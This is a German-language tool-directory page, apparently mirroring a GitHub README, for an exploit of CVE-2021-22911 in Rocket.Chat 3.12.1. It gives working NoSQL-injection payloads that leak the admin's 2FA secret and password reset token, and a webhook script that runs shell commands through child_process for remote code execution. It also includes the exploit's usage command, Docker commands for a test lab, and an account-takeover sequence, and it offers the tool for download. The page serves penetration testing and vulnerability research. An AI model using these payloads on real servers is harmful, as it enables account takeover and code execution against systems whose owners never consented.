Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22911 — Exploit für CVE-2021-22911: Pre-Auth blinde NoSQL-Injection in Rocket Chat 3.12.1, die Kontoübernahme und Remote-Codeausführung über Webhook-Scripting ermöglicht. | Kitploit
Tools/GitHubGitHub/mrdottt/cve-2021-22911
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Exploit für CVE-2021-22911: Pre-Auth blinde NoSQL-Injection in Rocket Chat 3.12.1, die Kontoübernahme und Remote-Codeausführung über Webhook-Scripting ermöglicht.

Repository anzeigen
12vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-22911

Pre-Auth Blind NoSQL Injection, die zu Remote Code Execution in Rocket Chat 3.12.1 führt

  • Die Methode getPasswordPolicy ist anfällig für NoSQL-Injection-Angriffe und erfordert keine Authentifizierung/Autorisierung. Sie kann verwendet werden, um Konten zu übernehmen, indem Passwort-Reset-Tokens preisgegeben werden. Die Übernahme eines Admin-Kontos führt zu Remote Code Execution.

Erklärung

  1. Übernahme des Benutzerkontos (Unauthenticated)
  • Es gibt eine NoSQL-Injection im getPasswordPolicy-Endpunkt im Passwort-Reset-token-Parameter, der ein JSON-Objekt akzeptiert, das uns die Verwendung des $regex-Operators ermöglicht. Dies nutzen wir, um eine blinde NoSQL-Injection durchzuführen und den Reset-Token zu erhalten.
  1. Privilegieneskalation zum Admin (Authenticated)
  • Der Admin-Benutzer ist höchstwahrscheinlich durch 2FA geschützt. Selbst wenn wir also das Passwort des Admins über (1) ändern, wird beim Login nach einem 2FA-Code gefragt.

  • Der API-Endpunkt users.list akzeptiert einen query-Parameter, der anfällig für NoSQL-Injection ist. Wir können auch Daten abrufen, indem wir einen Fehler auslösen.

  • Wir führen die folgende Abfrage aus, um das 2FA-Secret des Admins zu erhalten: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Als nächstes führen wir einfach (1) aus, um das Passwort des Admins zurückzusetzen, und verwenden das 2FA-Secret, um einen Code zu generieren, mit dem wir uns anmelden können.

  • Aktualisiert: Du kannst den Reset-Token auch auf demselben Weg abrufen wie das 2FA-Secret: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (Authenticated - Admin)
  • Rocket.Chat hat eine Funktion namens Integrations, mit der eingehende und ausgehende Webhooks erstellt werden können. Diesen Webhooks können Skripte zugeordnet werden, die beim Auslösen des Webhooks ausgeführt werden.
  • Wir erstellen eine Integration mit folgendem Skript:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Als nächstes lösen wir einfach den Webhook aus, um RCE zu erhalten :)

Verwendung

  • Du benötigst die E-Mail-Adresse eines Benutzers mit niedrigen Rechten, der kein 2FA eingerichtet hat. ( -u )
  • Du benötigst auch die E-Mail-Adresse des Administrators. Das ist kein Problem, wenn der Admin durch 2FA geschützt ist. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Umgebung

  • Getestet auf Rocket Chat 3.12.1
  • Aufbau einer eigenen Testumgebung mit Docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Passwort-Richtlinie aktivieren
  • 2FA für Admin aktivieren
  • Einen normalen Benutzer registrieren.

HINWEIS: Wenn du den Administrator nicht durch 2FA schützen möchtest, kannst du Folgendes tun.

  1. E-Mail zum Zurücksetzen des Passworts senden
  2. Reset-Token für Admin abrufen
  3. Das Passwort mit dem abgerufenen Reset-Token ändern
root@kitploit:~
# Admin-Konto-Übernahme [ Kein 2FA ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Credits

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Tool herunterladen